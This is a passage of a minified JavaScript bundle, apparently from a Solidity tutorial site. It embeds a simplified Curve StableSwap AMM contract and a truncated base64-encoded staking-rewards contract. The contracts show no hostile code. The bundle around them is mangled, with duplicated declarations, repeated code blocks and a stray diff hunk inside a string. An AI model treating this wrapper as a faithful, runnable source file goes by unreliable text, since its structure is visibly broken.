        returns (uint256[N] memory amountsOut)
    {
        uint256 _totalSupply = totalSupply;

        for (uint256 i; i < N; ++i) {
            uint256 amountOut = (balances[i] * shares) / _totalSupply;
            require(amountOut >= minAmountsOut[i], "out < min");

            balances[i] -= amountOut;
            amountsOut[i] = amountOut;

            IERC20(tokens[i]).transfer(msg.sender, amountOut);
        }

        _burn(msg.sender, shares);
    }

    /**
     * @notice Calculate amount of token i to receive for shares
     * @param shares Shares to burn
     * @param i Index of token to withdraw
     * @return dy Amount of token i to receive
     *         fee Fee for withdraw. Fee already included in dy
     */
    function _calcWithdrawOneToken(uint256 shares, uint256 i)
        private
        view
        returns (uint256 dy, uint256 fee)
    {
        uint256 _totalSupply = totalSupply;
        uint256[N] memory xp = _xp();

        // Calculate d0 and d1
        uint256 d0 = _getD(xp);
        uint256 d1 = d0 - (d0 * shares) / _totalSupply;

        // Calculate reduction in y if D = d1
        uint256 y0 = _getYD(i, xp, d1);
        // d1 <= d0 so y must be <= xp[i]
        uint256 dy0 = (xp[i] - y0) / multipliers[i];

        // Calculate imbalance fee, update xp with fees
        uint256 dx;
        for (uint256 j; j < N; ++j) {
            if (j == i) {
                dx = (xp[j] * d1) / d0 - y0;
            } else {
                // d1 / d0 <= 1
                dx = xp[j] - (xp[j] * d1) / d0;
            }
            xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR;
        }

        // Recalculate y with xp including imbalance fees
        uint256 y1 = _getYD(i, xp, d1);
        // - 1 to round down
        dy = (xp[i] - y1 - 1) / multipliers[i];
        fee = dy0 - dy;
    }

    function calcWithdrawOneToken(uint256 shares, uint256 i)
        external
        view
        returns (uint256 dy, uint256 fee)
    {
        return _calcWithdrawOneToken(shares, i);
    }

    /**
     * @notice Withdraw liquidity in token i
     * @param shares Shares to burn
     * @param i Token to withdraw
     * @param minAmountOut Minimum amount of token i that must be withdrawn
     */
    function removeLiquidityOneToken(
        uint256 shares,
        uint256 i,
        uint256 minAmountOut
    ) external returns (uint256 amountOut) {
        (amountOut,) = _calcWithdrawOneToken(shares, i);
        require(amountOut >= minAmountOut, "out < min");

        balances[i] -= amountOut;
        _burn(msg.sender, shares);

        IERC20(tokens[i]).transfer(msg.sender, amountOut);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],km=`

                    Simplified version of Curve's stable swap AMM

                    +`,ym=({prev:s,next:a})=>r.jsx(u,{version:dm,title:Cm,description:jm,html:Am,prev:s,next:a,codes:um}),mm="0.8.24",bm="Stable Swap AMM",wm="Curve's stable swap AMM",km=[{fileName:"StableSwap.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
Invariant - price of trade and amount of liquidity are determined by this equation

An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i))

Topics
0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n)
1. Invariant
2. Swap
   - Calculate Y
   - Calculate D
3. Get virtual price
4. Add liquidity
   - Imbalance fee
5. Remove liquidity
6. Remove liquidity one token
   - Calculate withdraw one token
   - getYD
TODO: test?
*/

library Math {
    function abs(uint256 x, uint256 y) internal pure returns (uint256) {
        return x >= y ? x - y : y - x;
    }
}

contract StableSwap {
    // Number of tokens
    uint256 private constant N = 3;
    // Amplification coefficient multiplied by N^(N - 1)
    // Higher value makes the curve more flat
    // Lower value makes the curve more like constant product AMM
    uint256 private constant A = 1000 * (N ** (N - 1));
    // 0.03%
    uint256 private constant SWAP_FEE = 300;
    // Liquidity fee is derived from 2 constraints
    // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool
    // 2. Swapping in a balanced pool is like adding and then removing liquidity
    //    from a balanced pool
    // swap fee = add liquidity fee + remove liquidity fee
    uint256 private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1));
    uint256 private constant FEE_DENOMINATOR = 1e6;

    address[N] public tokens;
    // Normalize each token to 18 decimals
    // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals)
    uint256[N] private multipliers = [1, 1e12, 1e12];
    uint256[N] public balances;

    // 1 share = 1e18, 18 decimals
    uint256 private constant DECIMALS = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address[N] memory _tokens) {
        tokens = _tokens;
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    // Return precision-adjusted balances, adjusted to 18 decimals
    function _xp() private view returns (uint256[N] memory xp) {
        for (uint256 i; i < N; ++i) {
            xp[i] = balances[i] * multipliers[i];
        }
    }

    /**
     * @notice Calculate D, sum of balances in a perfectly balanced pool
     * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D
     * @param xp Precision-adjusted balances
     * @return D
     */
    function _getD(uint256[N] memory xp) private pure returns (uint256) {
        /*
        Newton's method to compute D
        -----------------------------
        f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D 
        f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1

                     (as + np)D_n
        D_(n+1) = -----------------------
                  (a - 1)D_n + (n + 1)p

        a = An^n
        s = sum(x_i)
        p = (D_n)^(n + 1) / (n^n prod(x_i))
        */
        uint256 a = A * N; // An^n

        uint256 s; // x_0 + x_1 + ... + x_(n-1)
        for (uint256 i; i < N; ++i) {
            s += xp[i];
        }

        // Newton's method
        // Initial guess, d <= s
        uint256 d = s;
        uint256 d_prev;
        for (uint256 i; i < 255; ++i) {
            // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1))
            uint256 p = d;
            for (uint256 j; j < N; ++j) {
                p = (p * d) / (N * xp[j]);
            }
            d_prev = d;
            d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p);

            if (Math.abs(d, d_prev) <= 1) {
                return d;
            }
        }
        revert("D didn't converge");
    }

    /**
     * @notice Calculate the new balance of token j given the new balance of token i
     * @param i Index of token in
     * @param j Index of token out
     * @param x New balance of token i
     * @param xp Current precision-adjusted balances
     */
    function _getY(uint256 i, uint256 j, uint256 x, uint256[N] memory xp)
        private
        pure
        returns (uint256)
    {
        /*
        Newton's method to compute y
        -----------------------------
        y = x_j

        f(y) = y^2 + y(b - D) - c

                    y_n^2 + c
        y_(n+1) = --------------
                   2y_n + b - D

        where
        s = sum(x_k), k != j
        p = prod(x_k), k != j
        b = s + D / (An^n)
        c = D^(n + 1) / (n^n * p * An^n)
        */
        uint256 a = A * N;
        uint256 d = _getD(xp);
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k == i) {
                _x = x;
            } else if (k == j) {
                continue;
            } else {
                _x = xp[k];
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    /**
     * @notice Calculate the new balance of token i given precision-adjusted
     * balances xp and liquidity d
     * @dev Equation is calculate y is same as _getY
     * @param i Index of token to calculate the new balance
     * @param xp Precision-adjusted balances
     * @param d Liquidity d
     * @return New balance of token i
     */
    function _getYD(uint256 i, uint256[N] memory xp, uint256 d)
        private
        pure
        returns (uint256)
    {
        uint256 a = A * N;
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k != i) {
                _x = xp[k];
            } else {
                continue;
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    // Estimate value of 1 share
    // How many tokens is one share worth?
    function getVirtualPrice() external view returns (uint256) {
        uint256 d = _getD(_xp());
        uint256 _totalSupply = totalSupply;
        if (_totalSupply > 0) {
            return (d * 10 ** DECIMALS) / _totalSupply;
        }
        return 0;
    }

    /**
     * @notice Swap dx amount of token i for token j
     * @param i Index of token in
     * @param j Index of token out
     * @param dx Token in amount
     * @param minDy Minimum token out
     */
    function swap(uint256 i, uint256 j, uint256 dx, uint256 minDy)
        external
        returns (uint256 dy)
    {
        require(i != j, "i = j");

        IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx);

        // Calculate dy
        uint256[N] memory xp = _xp();
        uint256 x = xp[i] + dx * multipliers[i];

        uint256 y0 = xp[j];
        uint256 y1 = _getY(i, j, x, xp);
        // y0 must be >= y1, since x has increased
        // -1 to round down
        dy = (y0 - y1 - 1) / multipliers[j];

        // Subtract fee from dy
        uint256 fee = (dy * SWAP_FEE) / FEE_DENOMINATOR;
        dy -= fee;
        require(dy >= minDy, "dy < min");

        balances[i] += dx;
        balances[j] -= dy;

        IERC20(tokens[j]).transfer(msg.sender, dy);
    }

    function addLiquidity(uint256[N] calldata amounts, uint256 minShares)
        external
        returns (uint256 shares)
    {
        // calculate current liquidity d0
        uint256 _totalSupply = totalSupply;
        uint256 d0;
        uint256[N] memory old_xs = _xp();
        if (_totalSupply > 0) {
            d0 = _getD(old_xs);
        }

        // Transfer tokens in
        uint256[N] memory new_xs;
        for (uint256 i; i < N; ++i) {
            uint256 amount = amounts[i];
            if (amount > 0) {
                IERC20(tokens[i]).transferFrom(
                    msg.sender, address(this), amount
                );
                new_xs[i] = old_xs[i] + amount * multipliers[i];
            } else {
                new_xs[i] = old_xs[i];
            }
        }

        // Calculate new liquidity d1
        uint256 d1 = _getD(new_xs);
        require(d1 > d0, "liquidity didn't increase");

        // Reccalcuate D accounting for fee on imbalance
        uint256 d2;
        if (_totalSupply > 0) {
            for (uint256 i; i < N; ++i) {
                // TODO: why old_xs[i] * d1 / d0? why not d1 / N?
                uint256 idealBalance = (old_xs[i] * d1) / d0;
                uint256 diff = Math.abs(new_xs[i], idealBalance);
                new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR;
            }

            d2 = _getD(new_xs);
        } else {
            d2 = d1;
        }

        // Update balances
        for (uint256 i; i < N; ++i) {
            balances[i] += amounts[i];
        }

        // Shares to mint = (d2 - d0) / d0 * total supply
        // d1 >= d2 >= d0
        if (_totalSupply > 0) {
            shares = ((d2 - d0) * _totalSupply) / d0;
        } else {
            shares = d2;
        }
        require(shares >= minShares, "shares < min");
        _mint(msg.sender, shares);
    }

    function removeLiquidity(uint256 shares, uint256[N] calldata minAmountsOut)
        external
        returns (uint256[N] memory amountsOut)
    {
        uint256 _totalSupply = totalSupply;

        for (uint256 i; i < N; ++i) {
            uint256 amountOut = (balances[i] * shares) / _totalSupply;
            require(amountOut >= minAmountsOut[i], "out < min");

            balances[i] -= amountOut;
            amountsOut[i] = amountOut;

            IERC20(tokens[i]).transfer(msg.sender, amountOut);
        }

        _burn(msg.sender, shares);
    }

    /**
     * @notice Calculate amount of token i to receive for shares
     * @param shares Shares to burn
     * @param i Index of token to withdraw
     * @return dy Amount of token i to receive
     *         fee Fee for withdraw. Fee already included in dy
     */
    function _calcWithdrawOneToken(uint256 shares, uint256 i)
        private
        view
        returns (uint256 dy, uint256 fee)
    {
        uint256 _totalSupply = totalSupply;
        uint256[N] memory xp = _xp();

        // Calculate d0 and d1
        uint256 d0 = _getD(xp);
        uint256 d1 = d0 - (d0 * shares) / _totalSupply;

        // Calculate reduction in y if D = d1
        uint256 y0 = _getYD(i, xp, d1);
        // d1 <= d0 so y must be <= xp[i]
        uint256 dy0 = (xp[i] - y0) / multipliers[i];

        // Calculate imbalance fee, update xp with fees
        uint256 dx;
        for (uint256 j; j < N; ++j) {
            if (j == i) {
                dx = (xp[j] * d1) / d0 - y0;
            } else {
                // d1 / d0 <= 1
                dx = xp[j] - (xp[j] * d1) / d0;
            }
            xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR;
        }

        // Recalculate y with xp including imbalance fees
        uint256 y1 = _getYD(i, xp, d1);
        // - 1 to round down
        dy = (xp[i] - y1 - 1) / multipliers[i];
        fee = dy0 - dy;
    }

    function calcWithdrawOneToken(uint256 shares, uint256 i)
        external
        view
        returns (uint256 dy, uint256 fee)
    {
        return _calcWithdrawOneToken(shares, i);
    }

    /**
     * @notice Withdraw liquidity in token i
     * @param shares Shares to burn
     * @param i Token to withdraw
     * @param minAmountOut Minimum amount of token i that must be withdrawn
     */
    function removeLiquidityOneToken(
        uint256 shares,
        uint256 i,
        uint256 minAmountOut
    ) external returns (uint256 amountOut) {
        (amountOut,) = _calcWithdrawOneToken(shares, i);
        require(amountOut >= minAmountOut, "out < min");

        balances[i] -= amountOut;
        _burn(msg.sender, shares);

        IERC20(tokens[i]).transfer(msg.sender, amountOut);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],Zm=`

                    Simplified version of Curve's stable swap AMM

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -5064,7 +5064,7 @@ Topics
         external
         returns (bool);
 }
-
                    `,Zm=({prev:s,next:a})=>r.jsx(u,{version:Am,title:mm,description:bm,html:km,prev:s,next:a,codes:wm}),Wm="0.8.24",Gm="Staking Rewards",Bm="Staking rewards contract based on Synthetix StakingRewards.sol",Vm=[{fileName:"StakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFN0YWtpbmdSZXdhcmRzIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHN0YWtpbmdUb2tlbjsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHJld2FyZHNUb2tlbjsKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICAvLyBEdXJhdGlvbiBvZiByZXdhcmRzIHRvIGJlIHBhaWQgb3V0IChpbiBzZWNvbmRzKQogICAgdWludDI1NiBwdWJsaWMgZHVyYXRpb247CiAgICAvLyBUaW1lc3RhbXAgb2Ygd2hlbiB0aGUgcmV3YXJkcyBmaW5pc2gKICAgIHVpbnQyNTYgcHVibGljIGZpbmlzaEF0OwogICAgLy8gTWluaW11bSBvZiBsYXN0IHVwZGF0ZWQgdGltZSBhbmQgcmV3YXJkIGZpbmlzaCB0aW1lCiAgICB1aW50MjU2IHB1YmxpYyB1cGRhdGVkQXQ7CiAgICAvLyBSZXdhcmQgdG8gYmUgcGFpZCBvdXQgcGVyIHNlY29uZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkUmF0ZTsKICAgIC8vIFN1bSBvZiAocmV3YXJkIHJhdGUgKiBkdCAqIDFlMTggLyB0b3RhbCBzdXBwbHkpCiAgICB1aW50MjU2IHB1YmxpYyByZXdhcmRQZXJUb2tlblN0b3JlZDsKICAgIC8vIFVzZXIgYWRkcmVzcyA9PiByZXdhcmRQZXJUb2tlblN0b3JlZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkOwogICAgLy8gVXNlciBhZGRyZXNzID0+IHJld2FyZHMgdG8gYmUgY2xhaW1lZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyByZXdhcmRzOwoKICAgIC8vIFRvdGFsIHN0YWtlZAogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICAvLyBVc2VyIGFkZHJlc3MgPT4gc3Rha2VkIGFtb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfc3Rha2luZ1Rva2VuLCBhZGRyZXNzIF9yZXdhcmRUb2tlbikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkc1Rva2VuID0gSUVSQzIwKF9yZXdhcmRUb2tlbik7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciB1cGRhdGVSZXdhcmQoYWRkcmVzcyBfYWNjb3VudCkgewogICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkID0gcmV3YXJkUGVyVG9rZW4oKTsKICAgICAgICB1cGRhdGVkQXQgPSBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKTsKCiAgICAgICAgaWYgKF9hY2NvdW50ICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkCiAgICAgICAgICAgICsgKHJld2FyZFJhdGUgKiAobGFzdFRpbWVSZXdhcmRBcHBsaWNhYmxlKCkgLSB1cGRhdGVkQXQpICogMWUxOCkKICAgICAgICAgICAgICAgIC8gdG90YWxTdXBwbHk7CiAgICB9CgogICAgZnVuY3Rpb24gc3Rha2UodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB1cGRhdGVSZXdhcmQobXNnLnNlbmRlcikgewogICAgICAgIHJlcXVpcmUoX2Ftb3VudCA+IDAsICJhbW91bnQgPSAwIik7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPiAwLCAiYW1vdW50ID0gMCIpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IF9hbW91bnQ7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVhcm5lZChhZGRyZXNzIF9hY2NvdW50KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgKICAgICAgICAgICAgKAogICAgICAgICAgICAgICAgYmFsYW5jZU9mW19hY2NvdW50XQogICAgICAgICAgICAgICAgICAgICogKHJld2FyZFBlclRva2VuKCkgLSB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSkKICAgICAgICAgICAgKSAvIDFlMTgKICAgICAgICApICsgcmV3YXJkc1tfYWNjb3VudF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UmV3YXJkKCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICB1aW50MjU2IHJld2FyZCA9IHJld2FyZHNbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludDI1NiBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQodWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdXBkYXRlUmV3YXJkKGFkZHJlc3MoMCkpCiAgICB7CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+PSBmaW5pc2hBdCkgewogICAgICAgICAgICByZXdhcmRSYXRlID0gX2Ftb3VudCAvIGR1cmF0aW9uOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQyNTYgcmVtYWluaW5nUmV3YXJkcyA9IChmaW5pc2hBdCAtIGJsb2NrLnRpbWVzdGFtcCkgKiByZXdhcmRSYXRlOwogICAgICAgICAgICByZXdhcmRSYXRlID0gKF9hbW91bnQgKyByZW1haW5pbmdSZXdhcmRzKSAvIGR1cmF0aW9uOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZShyZXdhcmRSYXRlID4gMCwgInJld2FyZCByYXRlID0gMCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHJld2FyZFJhdGUgKiBkdXJhdGlvbiA8PSByZXdhcmRzVG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLAogICAgICAgICAgICAicmV3YXJkIGFtb3VudCA+IGJhbGFuY2UiCiAgICAgICAgKTsKCiAgICAgICAgZmluaXNoQXQgPSBibG9jay50aW1lc3RhbXAgKyBkdXJhdGlvbjsKICAgICAgICB1cGRhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],fm=`

                    This is a minimal example of a contract that rewards users for staking their token.

                    +`,Wm=({prev:s,next:a})=>r.jsx(u,{version:mm,title:bm,description:wm,html:Zm,prev:s,next:a,codes:km}),Bm="0.8.24",Gm="Staking Rewards",Vm="Staking rewards contract based on Synthetix StakingRewards.sol",fm=[{fileName:"StakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFN0YWtpbmdSZXdhcmRzIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHN0YWtpbmdUb2tlbjsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHJld2FyZHNUb2tlbjsKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICAvLyBEdXJhdGlvbiBvZiByZXdhcmRzIHRvIGJlIHBhaWQgb3V0IChpbiBzZWNvbmRzKQogICAgdWludDI1NiBwdWJsaWMgZHVyYXRpb247CiAgICAvLyBUaW1lc3RhbXAgb2Ygd2hlbiB0aGUgcmV3YXJkcyBmaW5pc2gKICAgIHVpbnQyNTYgcHVibGljIGZpbmlzaEF0OwogICAgLy8gTWluaW11bSBvZiBsYXN0IHVwZGF0ZWQgdGltZSBhbmQgcmV3YXJkIGZpbmlzaCB0aW1lCiAgICB1aW50MjU2IHB1YmxpYyB1cGRhdGVkQXQ7CiAgICAvLyBSZXdhcmQgdG8gYmUgcGFpZCBvdXQgcGVyIHNlY29uZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkUmF0ZTsKICAgIC8vIFN1bSBvZiAocmV3YXJkIHJhdGUgKiBkdCAqIDFlMTggLyB0b3RhbCBzdXBwbHkpCiAgICB1aW50MjU2IHB1YmxpYyByZXdhcmRQZXJUb2tlblN0b3JlZDsKICAgIC8vIFVzZXIgYWRkcmVzcyA9PiByZXdhcmRQZXJUb2tlblN0b3JlZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkOwogICAgLy8gVXNlciBhZGRyZXNzID0+IHJld2FyZHMgdG8gYmUgY2xhaW1lZAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyByZXdhcmRzOwoKICAgIC8vIFRvdGFsIHN0YWtlZAogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICAvLyBVc2VyIGFkZHJlc3MgPT4gc3Rha2VkIGFtb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfc3Rha2luZ1Rva2VuLCBhZGRyZXNzIF9yZXdhcmRUb2tlbikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkc1Rva2VuID0gSUVSQzIwKF9yZXdhcmRUb2tlbik7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciB1cGRhdGVSZXdhcmQoYWRkcmVzcyBfYWNjb3VudCkgewogICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkID0gcmV3YXJkUGVyVG9rZW4oKTsKICAgICAgICB1cGRhdGVkQXQgPSBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKTsKCiAgICAgICAgaWYgKF9hY2NvdW50ICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9CgogICAg